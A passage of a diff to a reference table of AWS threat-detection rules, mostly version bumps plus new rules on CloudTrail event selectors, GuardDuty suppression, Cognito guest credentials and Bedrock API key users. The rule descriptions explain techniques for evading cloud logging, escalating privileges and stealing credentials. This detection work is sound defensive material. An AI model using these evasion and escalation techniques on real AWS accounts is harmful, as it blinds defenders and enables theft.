weaken access controls. These changes should be validated for principal ownership and least-privilege intent. |[Domain: Cloud], [Domain: LLM], [Data Source: AWS], [Data Source: AWS CloudTrail], [Data Source: Amazon Web Services], [Data Source: Amazon Bedrock], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Persistence] |None |1 @@ -70,7 +86,7 @@ and their rule type is `machine_learning`. |<> |Detects the use of the AWS CLI with the "--endpoint-url" argument, which allows users to specify a custom endpoint URL for AWS services. This can be leveraged by adversaries to redirect API requests to non-standard or malicious endpoints, potentially bypassing typical security controls and logging mechanisms. This behavior may indicate an attempt to interact with unauthorized or compromised infrastructure, exfiltrate data, or perform other malicious activities under the guise of legitimate AWS operations. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike], [Data Source: SentinelOne] |None |7 -|<> |Identifies the creation of a new AWS CloudShell environment. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. The CreateEnvironment API is called when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region. Adversaries with console access may use CloudShell to execute commands, install tools, or interact with AWS services without needing local CLI credentials. Monitoring environment creation helps detect unauthorized CloudShell usage from compromised console sessions. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS CloudShell], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide] |None |3 +|<> |Identifies the creation of a new AWS CloudShell environment. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. The CreateEnvironment API is called when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region. Adversaries with console access may use CloudShell to execute commands, install tools, or interact with AWS services without needing local CLI credentials. Monitoring environment creation helps detect unauthorized CloudShell usage from compromised console sessions. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS CloudShell], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide] |None |4 |<> |Detects creation of a new AWS CloudTrail trail via CreateTrail API. While legitimate during onboarding or auditing improvements, adversaries can create trails that write to attacker-controlled destinations, limit regions, or otherwise subvert monitoring objectives. New trails should be validated for destination ownership, encryption, multi-region coverage, and organizational scope. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Cloudtrail], [Use Case: Log Auditing], [Tactic: Collection], [Resources: Investigation Guide] |None |214 @@ -78,9 +94,11 @@ and their rule type is `machine_learning`. |<> |Identifies the evasion of cloudtrail logging for IAM actions involving policy creation, modification or attachment. When making certain policy-related API calls, an adversary may pad the associated policy document with whitespaces to trigger CloudTrail’s logging size constraints, resulting in incomplete logging where critical details about the policy are omitted. By exploiting this gap, threat actors can bypass monitoring performed through CloudTrail and can effectively obscure unauthorized changes. This rule looks for IAM API calls with the requestParameters property containing reason:”requestParameters too large” and omitted:true. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |3 -|<> |Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Cloudtrail], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |215 +|<> |Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Cloudtrail], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |216 -|<> |Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Cloudtrail], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Impact] |None |215 +|<> |Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Cloudtrail], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Impact] |None |216 + +|<> |Detects CloudTrail PutEventSelectors calls where the legacy event selectors explicitly set includeManagementEvents to false, disabling capture of all management API calls for that trail. Unlike StopLogging or DeleteTrail — which leave an obvious trace of the trail being stopped or removed entirely — this technique leaves the trail appearing active and healthy in the console while silently blinding defenders to subsequent IAM changes, credential operations, and resource abuse. This technique is documented in Stratus Red Team as aws.defense-evasion.cloudtrail-event-selectors and is a known pre-exfiltration step. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Use Case: Log Auditing], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |1 |<> |Detects the deletion of one or more Amazon CloudWatch alarms using the "DeleteAlarms" API. CloudWatch alarms are critical for monitoring metrics and triggering alerts when thresholds are exceeded. An adversary may delete alarms to impair visibility, silence alerts, and evade detection following malicious activity. This behavior may occur during post-exploitation or cleanup phases to remove traces of compromise or disable automated responses. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon CloudWatch], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |214 @@ -88,6 +106,8 @@ and their rule type is `machine_learning`. |<> |Detects the deletion of an Amazon CloudWatch log stream using the "DeleteLogStream" API. Deleting a log stream permanently removes its associated log events and may disrupt security visibility, break audit trails, or suppress forensic evidence. Adversaries may delete log streams to conceal malicious actions, impair monitoring pipelines, or remove artifacts generated during post-exploitation activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon CloudWatch], [Use Case: Log Auditing], [Tactic: Defense Evasion], [Tactic: Impact], [Resources: Investigation Guide] |None |215 +|<> |Identifies AWS CloudTrail data events where an unauthenticated identity successfully retrieves temporary AWS credentials from a Cognito Identity Pool via GetCredentialsForIdentity. Cognito Identity Pools can be configured to allow unauthenticated (guest) access, intended for scenarios like anonymous app analytics, but a pool that grants those anonymous identities meaningful IAM permissions becomes a public, unauthenticated path to real AWS credentials. Adversaries who discover an identity pool ID (often embedded in mobile app binaries, web app JavaScript, or public source repositories) can call GetId followed by GetCredentialsForIdentity with no login token at all to obtain temporary credentials, then use them to access whatever the pool's unauthenticated role permits. This is a New Terms rule that limits alerting to identity pools that have not been observed issuing credentials to an unauthenticated caller before, since some applications intentionally and continuously use guest access as part of normal operation. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Cognito], [Use Case: Asset Visibility], [Resources: Investigation Guide], [Tactic: Credential Access], [Tactic: Initial Access] |None |1 + |<> |Identifies attempts to delete AWS Config resources. AWS Config provides continuous visibility into resource configuration changes and compliance posture across an account. Deleting Config components can significantly reduce security visibility and auditability. Adversaries may delete or disable Config resources to evade detection, hide prior activity, or weaken governance controls before or after other malicious actions. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Config], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |214 |<> |Identifies when an AWS Config configuration recorder is stopped. AWS Config recorders continuously track and record configuration changes across supported AWS resources. Stopping the recorder immediately reduces visibility into infrastructure changes and can be abused by adversaries to evade detection, obscure follow-on activity, or weaken compliance and security monitoring controls. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Config], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |212 @@ -96,17 +116,17 @@ and their rule type is `machine_learning`. |<> |Detects AWS access keys that are used from both GitHub Actions CI/CD infrastructure and non-CI/CD infrastructure. This pattern indicates potential credential theft where an attacker who has stolen AWS credentials configured as GitHub Actions secrets and is using them from their own infrastructure. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |1 -|<> |Flags the first time a given IAM principal invokes a narrow set of high-signal discovery APIs (credential check, account and IAM enumeration, bucket and compute inventory, logging introspection) from a source IP whose autonomous system number (ASN) matches a curated set commonly associated with consumer VPN brands, VPN-heavy hosting, and provider networks referenced in public reporting on TeamPCP activity (for example 31173 Services AB AS39351 and Oy Crea Nova Hosting Solution Ltd). Broad `List*`/`Describe*` patterns are intentionally omitted to reduce noise. Hosting ASNs are heavily dual-use; validate `source.as.number` in your data and extend `event.action` only when your baseline allows it. |[Domain: Cloud], [Domain: Identity], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |1 +|<> |Flags the first time a given IAM principal invokes a narrow set of high-signal discovery APIs (credential check, account and IAM enumeration, bucket and compute inventory, logging introspection) from a source IP whose autonomous system number (ASN) matches a curated set commonly associated with consumer VPN brands, VPN-heavy hosting, and provider networks referenced in public reporting on TeamPCP activity (for example 31173 Services AB AS39351 and Oy Crea Nova Hosting Solution Ltd). Broad `List*`/`Describe*` patterns are intentionally omitted to reduce noise. Hosting ASNs are heavily dual-use; validate `source.as.number` in your data and extend `event.action` only when your baseline allows it. |[Domain: Cloud], [Domain: Identity], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |2 |<> |Detects when a single AWS resource is running multiple read-only, discovery API calls in a 10-second window. This behavior could indicate an actor attempting to discover the AWS infrastructure using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure. |[Domain: Cloud], [Data Source: AWS], [Data Source: AWS EC2], [Data Source: AWS IAM], [Data Source: AWS S3], [Data Source: AWS Cloudtrail], [Data Source: AWS RDS], [Data Source: AWS Lambda], [Data Source: AWS STS], [Data Source: AWS KMS], [Data Source: AWS SES], [Data Source: AWS Cloudfront], [Data Source: AWS DynamoDB], [Data Source: AWS Elastic Load Balancing], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |10 |<> |Identifies when an AWS DynamoDB table is scanned by a user who does not typically perform this action. Adversaries may use the Scan operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the Scan action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS DynamoDB], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Exfiltration] |None |6 -|<> |Identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS DynamoDB], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Exfiltration] |None |7 +|<> |Identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS DynamoDB], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Exfiltration] |None |8 -|<> |Identifies an AWS Amazon Machine Image (AMI) being shared with another AWS account. Adversaries with access may share an AMI with an external AWS account as a means of data exfiltration. AMIs can contain secrets, bash histories, code artifacts, and other sensitive data that adversaries may abuse if shared with unauthorized accounts. AMIs can be made publicly available accidentally as well. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Threat Detection], [Tactic: Exfiltration], [Resources: Investigation Guide] |None |7 +|<> |Identifies an AWS Amazon Machine Image (AMI) being shared with another AWS account. Adversaries with access may share an AMI with an external AWS account as a means of data exfiltration. AMIs can contain secrets, bash histories, code artifacts, and other sensitive data that adversaries may abuse if shared with unauthorized accounts. AMIs can be made publicly available accidentally as well. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Threat Detection], [Tactic: Exfiltration], [Resources: Investigation Guide] |None |8 -|<> |Identifies the first time a given IAM principal successfully creates an EC2 key pair when the request is sourced from a network whose autonomous system organization is not attributed to common cloud or hyperscaler providers in your GeoIP data. Adversaries may call CreateKeyPair to stage SSH access material before launching or accessing instances. A new terms baseline on `user_identity.arn` suppresses repeated noise from the same principal while still surfacing the initial suspicious creation from an unusual egress label. |[Domain: Cloud], [Domain: Identity], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon EC2], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Credential Access], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |1 +|<> |Identifies the first time a given IAM principal successfully creates an EC2 key pair when the request is sourced from a network whose autonomous system organization is not attributed to common cloud or hyperscaler providers in your GeoIP data. Adversaries may call CreateKeyPair to stage SSH access material before launching or accessing instances. A new terms baseline on `user_identity.arn` suppresses repeated noise from the same principal while still surfacing the initial suspicious creation from an unusual egress label. |[Domain: Cloud], [Domain: Identity], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon EC2], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Credential Access], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |2 |<> |Identifies when a user has queried for deprecated Amazon Machine Images (AMIs) in AWS. This may indicate an adversary looking for outdated AMIs that may be vulnerable to exploitation. While deprecated AMIs are not inherently malicious or indicative of a breach, they may be more susceptible to vulnerabilities and should be investigated for potential security risks. |[Domain: Cloud], [Data Source: AWS], [Data Source: AWS EC2], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Discovery] |None |8 @@ -120,7 +140,7 @@ and their rule type is `machine_learning`. |<> |Detects successful creation of an Amazon EC2 Traffic Mirroring session. A session copies full packets from a source Elastic Network Interface (ENI) to a mirror target (e.g., an ENI or NLB) using a mirror filter (ingress/egress rules). While used for diagnostics and NDR/IDS tooling, adversaries can abuse sessions to covertly capture and exfiltrate sensitive, potentially unencrypted, traffic from instances or subnets. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Network Security Monitoring], [Tactic: Exfiltration], [Tactic: Collection], [Resources: Investigation Guide] |None |213 -|<> |Identifies when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. This action could indicate an adversary attempting to maintain access to the instance. The rule detects the SendSerialConsoleSSHPublicKey or SendSSHPublicKey API actions, which are logged when manually uploading an SSH key to an EC2 instance or serial connection. It is important to know that this API call happens automatically by the EC2 Instance Connect service when a user connects to an EC2 instance using the EC2 Instance Connect service via the CLI or AWS Management Console. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |9 +|<> |Identifies when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. This action could indicate an adversary attempting to maintain access to the instance. The rule detects the SendSerialConsoleSSHPublicKey or SendSSHPublicKey API actions, which are logged when manually uploading an SSH key to an EC2 instance or serial connection. It is important to know that this API call happens automatically by the EC2 Instance Connect service when a user connects to an EC2 instance using the EC2 Instance Connect service via the CLI or AWS Management Console. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |10 |<> |Detects successful AWS Management Console or federation login activity performed using an EC2 instance’s assumed role credentials. EC2 instances typically use temporary credentials to make API calls, not to authenticate interactively via the console. A successful "ConsoleLogin" or "GetSigninToken" event using a session pattern that includes "i-" (the EC2 instance ID) is highly anomalous and may indicate that an adversary obtained the instance’s temporary credentials from the instance metadata service (IMDS) and used them to access the console. Such activity can enable lateral movement, privilege escalation, or persistence within the AWS account. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Data Source: AWS STS], [Data Source: AWS Sign-In], [Use Case: Identity and Access Audit], [Tactic: Lateral Movement], [Tactic: Credential Access], [Tactic: Persistence], [Resources: Investigation Guide] |None |8 @@ -160,15 +180,17 @@ and their rule type is `machine_learning`. |<> |Detects successful Amazon EKS Access Entries API operations that create, update, attach, detach, or delete authentication mappings between IAM principals and the cluster. Changes to access entries alter who can authenticate to Kubernetes and what Kubernetes-level permissions they receive, without requiring edits to in-cluster RBAC objects. Unexpected callers or timing may indicate persistence or privilege abuse. Common automation identities (service-linked roles, eksctl, Terraform, CloudFormation role patterns) are excluded to reduce noise; tune further for your deployment pipelines. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 -|<> |Detects successful Amazon EKS UpdateClusterConfig requests that disable control plane logging. Disabling EKS API server and control plane logs can reduce visibility into cluster activity and may indicate defense evasion following compromised AWS credentials or unauthorized administrative access. EKS control plane logging changes are typically rare and should align with approved maintenance or cost optimization workflows. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |1 +|<> |Detects successful Amazon EKS UpdateClusterConfig requests that disable control plane logging. Disabling EKS API server and control plane logs can reduce visibility into cluster activity and may indicate defense evasion following compromised AWS credentials or unauthorized administrative access. EKS control plane logging changes are typically rare and should align with approved maintenance or cost optimization workflows. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |2 |<> |Identifies when an Amazon EventBridge rule is disabled or deleted. EventBridge rules are commonly used to automate operational workflows and security-relevant routing (for example, forwarding events to Lambda, SNS/SQS, or security tooling). Disabling or deleting a rule can break critical integrations, suppress detections, and reduce visibility. Adversaries may intentionally impair EventBridge rules to disrupt monitoring, delay response, or hide follow-on actions. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EventBridge], [Tactic: Impact], [Resources: Investigation Guide] |None |213 -|<> |Identifies the first occurrence of an AWS Security Token Service (STS) GetFederationToken request made by a user. The GetFederationToken API call allows users to request temporary security credentials to access AWS resources. The maximum expiration period for these tokens is 36 hours and they can be used to create a console signin token even for identities that don't already have one. Adversaries may use this API to obtain temporary credentials for persistence and to bypass IAM API call limitations by gaining console access. |[Domain: Cloud], [Data Source: Amazon Web Services], [Data Source: AWS], [Data Source: AWS STS], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Persistence], [Resources: Investigation Guide] |None |7 +|<> |Identifies the first occurrence of an AWS Security Token Service (STS) GetFederationToken request made by a user. The GetFederationToken API call allows users to request temporary security credentials to access AWS resources. The maximum expiration period for these tokens is 36 hours and they can be used to create a console signin token even for identities that don't already have one. Adversaries may use this API to obtain temporary credentials for persistence and to bypass IAM API call limitations by gaining console access. |[Domain: Cloud], [Data Source: Amazon Web Services], [Data Source: AWS], [Data Source: AWS STS], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Persistence], [Resources: Investigation Guide] |None |8 + +|<> |Identifies attempts to suppress or blind Amazon GuardDuty without deleting the detector outright. Adversaries with GuardDuty permissions can create or update a trusted IP set (CreateIPSet/UpdateIPSet) so that traffic from listed addresses is never flagged, tamper with the threat intelligence feed used to generate findings (CreateThreatIntelSet/UpdateThreatIntelSet), or soft-disable the detector via UpdateDetector with Enable set to false. All three techniques leave the detector itself intact, evading detections that only look for detector deletion. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS GuardDuty], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |1 |<> |Detects the deletion of an Amazon GuardDuty detector. GuardDuty provides continuous monitoring for malicious or unauthorized activity across AWS accounts. Deleting the detector disables this visibility, stopping all threat detection and removing existing findings. Adversaries may delete GuardDuty detectors to impair security monitoring and evade detection during or after an intrusion. This rule identifies successful "DeleteDetector" API calls and can indicate a deliberate defense evasion attempt. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS GuardDuty], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |212 -|<> |Detects attempts to disassociate or manipulate Amazon GuardDuty member accounts within an AWS organization. In multi-account GuardDuty deployments, a delegated administrator account aggregates findings from member accounts. Adversaries may attempt to disassociate member accounts, delete member relationships, stop monitoring members, or delete pending invitations to break this centralized visibility. These actions can be precursors to or alternatives for deleting GuardDuty detectors entirely, allowing attackers to operate undetected in member accounts while the administrator account loses visibility. This rule identifies successful API calls that manipulate GuardDuty member relationships, which are rare in normal operations and warrant immediate investigation. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS GuardDuty], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |2 +|<> |Detects attempts to disassociate or manipulate Amazon GuardDuty member accounts within an AWS organization. In multi-account GuardDuty deployments, a delegated administrator account aggregates findings from member accounts. Adversaries may attempt to disassociate member accounts, delete member relationships, stop monitoring members, or delete pending invitations to break this centralized visibility. These actions can be precursors to or alternatives for deleting GuardDuty detectors entirely, allowing attackers to operate undetected in member accounts while the administrator account loses visibility. This rule identifies successful API calls that manipulate GuardDuty member relationships, which are rare in normal operations and warrant immediate investigation. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS GuardDuty], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |3 |<> |Detects sensitive AWS IAM API operations executed using temporary session credentials (access key IDs beginning with "ASIA"). Temporary credentials are commonly issued through sts:GetSessionToken, sts:AssumeRole, or AWS SSO logins and are meant for short-term use. It is unusual for legitimate users or automated processes to perform privileged IAM actions (e.g., creating users, updating policies, or enabling/disabling MFA) with session tokens. This behavior may indicate credential theft, session hijacking, or the abuse of a privileged role’s temporary credentials. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Data Source: AWS STS], [Tactic: Persistence], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |7 @@ -178,19 +200,21 @@ and their rule type is `machine_learning`. |<> |An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised IAM roles. This rule looks for use of the IAM AttachRolePolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM role. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Persistence], [Resources: Investigation Guide] |None |9 -|<> |An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised user accounts. This rule looks for use of the IAM AttachUserPolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM user. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Persistence], [Resources: Investigation Guide] |None |10 +|<> |An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised user accounts. This rule looks for use of the IAM AttachUserPolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM user. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Persistence], [Resources: Investigation Guide] |None |11 |<> |Identifies AWS CloudTrail events where an IAM role's trust policy has been updated by an IAM user or Assumed Role identity. The trust policy is a JSON document that defines which principals are allowed to assume the role. An attacker may attempt to modify this policy to gain the privileges of the role. This is a New Terms rule, which means it will only trigger once for each unique combination of the "cloud.account.id", "user.name" and "target.entity.id" fields, that have not been seen making this API request. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Privilege Escalation] |None |216 |<> |This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the `CompromisedKeyQuarantine` or `CompromisedKeyQuarantineV2` AWS managed policies to an existing IAM user. This policy denies access to certain actions and is applied by the AWS team in the event that an IAM user's credentials have been compromised or exposed publicly. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Resources: Investigation Guide], [Use Case: Identity and Access Audit], [Tactic: Credential Access] |None |7 -|<> |Detects the creation of an AWS Identity and Access Management (IAM) user initiated by an assumed role on an EC2 instance. Assumed roles allow users or services to temporarily adopt different AWS permissions, but the creation of IAM users through these roles, particularly from within EC2 instances, may indicate a compromised instance. Adversaries might exploit such permissions to establish persistence by creating new IAM users under unauthorized conditions. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |6 +|<> |Detects the creation of an AWS Identity and Access Management (IAM) user initiated by an assumed role on an EC2 instance. Assumed roles allow users or services to temporarily adopt different AWS permissions, but the creation of IAM users through these roles, particularly from within EC2 instances, may indicate a compromised instance. Adversaries might exploit such permissions to establish persistence by creating new IAM users under unauthorized conditions. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |7 + +|<> |Identifies standard IAM credentials being added to an Amazon Bedrock API key phantom user, whose user name starts with "BedrockAPIKey-": either a long-term access key (CreateAccessKey) or a console password / login profile (CreateLoginProfile, UpdateLoginProfile). When a long-term Bedrock API key is generated through the AWS Console, AWS silently provisions a "BedrockAPIKey-" IAM user with the AmazonBedrockLimitedAccess managed policy. That user is intended only to back a Bedrock bearer token and should never hold standard programmatic keys or interactive console access. Adding either converts a Bedrock-scoped identity into general-purpose IAM credentials that inherit the policy's Bedrock control-plane and IAM, VPC, and KMS reconnaissance permissions and that persist after the Bedrock API key is revoked. This is the privilege-escalation and persistence pivot documented for Bedrock API key phantom users, and there is no legitimate workflow that produces it. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Data Source: Amazon Bedrock], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Persistence], [Resources: Investigation Guide] |None |1 |<> |Identifies successful IAM API calls that create a new customer managed policy version or set the default version for an existing customer managed policy. Attackers with `iam:CreatePolicyVersion` or `iam:SetDefaultPolicyVersion` on a privileged policy can introduce a permissive policy document and activate it, escalating effective permissions without attaching a new policy. These APIs are high impact when the target policy is attached to powerful roles or users. |[Domain: Cloud], [Domain: Identity], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 |<> |Detects when an AWS Identity and Access Management (IAM) customer-managed policy is attached to a role by an unusual or unauthorized user. Customer-managed policies are policies created and controlled within an AWS account, granting specific permissions to roles or users when attached. This rule identifies potential privilege escalation by flagging cases where a customer-managed policy is attached to a role by an unexpected actor, which could signal unauthorized access or misuse. Attackers may attach policies to roles to expand permissions and elevate their privileges within the AWS environment. This is a New Terms rule that uses the "cloud.account.id", "user.name" and "target.entity.id" fields to check if the combination of the actor identity and target role name has not been seen before. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Resources: Investigation Guide], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation] |None |8 -|<> |Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Resources: Investigation Guide], [Tactic: Impact], [Tactic: Persistence] |None |216 +|<> |Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], 